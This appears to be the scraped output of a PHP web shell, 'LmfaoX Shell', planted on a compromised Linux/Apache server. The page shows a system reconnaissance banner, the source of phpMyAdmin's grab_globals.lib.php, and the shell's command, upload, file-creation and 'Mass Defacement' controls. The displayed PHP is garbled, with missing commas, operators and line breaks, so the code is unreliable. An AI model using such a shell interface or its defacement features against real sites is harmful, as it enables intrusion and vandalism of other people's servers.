ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.75 GB of 70.42 GB (33.73%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ home/ yalagina/ map/ site/ sql_control/ libraries/ - drwxr-sr-x

Directory:
Viewing file:     grab_globals.lib.php (3.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This library grabs the names and values of the variables sent or posted to a
 * script in $_GET, $_POST and $_FILES superglobals and sets simple globals
 * variables from them. It does the same work for $HTTP_ACCEPT_LANGUAGE and
 * $HTTP_AUTHORIZATION.
 *
 * @package phpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * copy values from one array to another, usually from a superglobal into $GLOBALS
 *
 * @uses    $GLOBALS['_import_blacklist']
 * @uses    preg_replace()
 * @uses    array_keys()
 * @uses    array_unique()
 * @uses    stripslashes()
 * @param   array   $array      values from
 * @param   array   $target     values to
 * @param   boolean $sanitize   prevent importing key names in $_import_blacklist
 */
function PMA_recursive_extract($array, &$target$sanitize true)
{
    if (! 
is_array($array)) {
        return 
false;
    }

    if (
$sanitize) {
        
$valid_variables preg_replace($GLOBALS['_import_blacklist'], '',
            
array_keys($array));
        
$valid_variables array_unique($valid_variables);
    } else {
        
$valid_variables array_keys($array);
    }

    foreach (
$valid_variables as $key) {

        if (
strlen($key) === 0) {
            continue;
        }

        if (
is_array($array[$key])) {
            
// there could be a variable coming from a cookie of
            // another application, with the same name as this array
            
unset($target[$key]);

            
PMA_recursive_extract($array[$key], $target[$key], false);
        } else {
            
$target[$key] = $array[$key];
        }
    }
    return 
true;
}


/**
 * @var array $_import_blacklist variable names that should NEVER be imported
 *                              from superglobals
 */
$_import_blacklist = array(
    
'/^cfg$/i',         // PMA configuration
    
'/^server$/i',      // selected server
    
'/^db$/i',          // page to display
    
'/^table$/i',       // page to display
    
'/^goto$/i',        // page to display
    
'/^back$/i',        // the page go back
    
'/^lang$/i',        // selected language
    
'/^collation_connection$/i'//
    
'/^set_theme$/i',   //
    
'/^sql_query$/i',   // the query to be executed
    
'/^GLOBALS$/i',     // the global scope
    
'/^str.*$/i',       // PMA localized strings
    
'/^error_handler.*$/i',       // the error handler
    
'/^_.*$/i',         // PMA does not use variables starting with _ from extern
    
'/^.*\s+.*$/i',     // no whitespaces anywhere
    
'/^[0-9]+.*$/i',    // numeric variable names
    //'/^PMA_.*$/i',      // other PMA variables
);

if (! empty(
$_GET)) {
    
PMA_recursive_extract($_GET$GLOBALS);
}

if (! empty(
$_POST)) {
    
PMA_recursive_extract($_POST$GLOBALS);
}

if (! empty(
$_FILES)) {
    
$_valid_variables preg_replace($GLOBALS['_import_blacklist'], ''array_keys($_FILES));
    foreach (
$_valid_variables as $name) {
        if (
strlen($name) != 0) {
            $
$name $_FILES[$name]['tmp_name'];
            ${
$name '_name'} = $_FILES[$name]['name'];
        }
    }
    unset(
$name$value);
}

/**
 * globalize some environment variables
 */
$server_vars = array('HTTP_ACCEPT_LANGUAGE''HTTP_AUTHORIZATION');
foreach (
$server_vars as $current) {
    
// it's not important HOW we detect html tags
    // it's more important to prevent XSS
    // so it's not important if we result in an invalid string,
    // it's even better than a XSS capable string
    
if (PMA_getenv($current) && false === strpos(PMA_getenv($current), '<')) {
        $
$current PMA_getenv($current);
    
// already imported by register_globals?
    
} elseif (! isset($$current) || false !== strpos($$current'<')) {
        $
$current '';
    }
}
unset(
$server_vars$current$_import_blacklist);

?>
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2475 seconds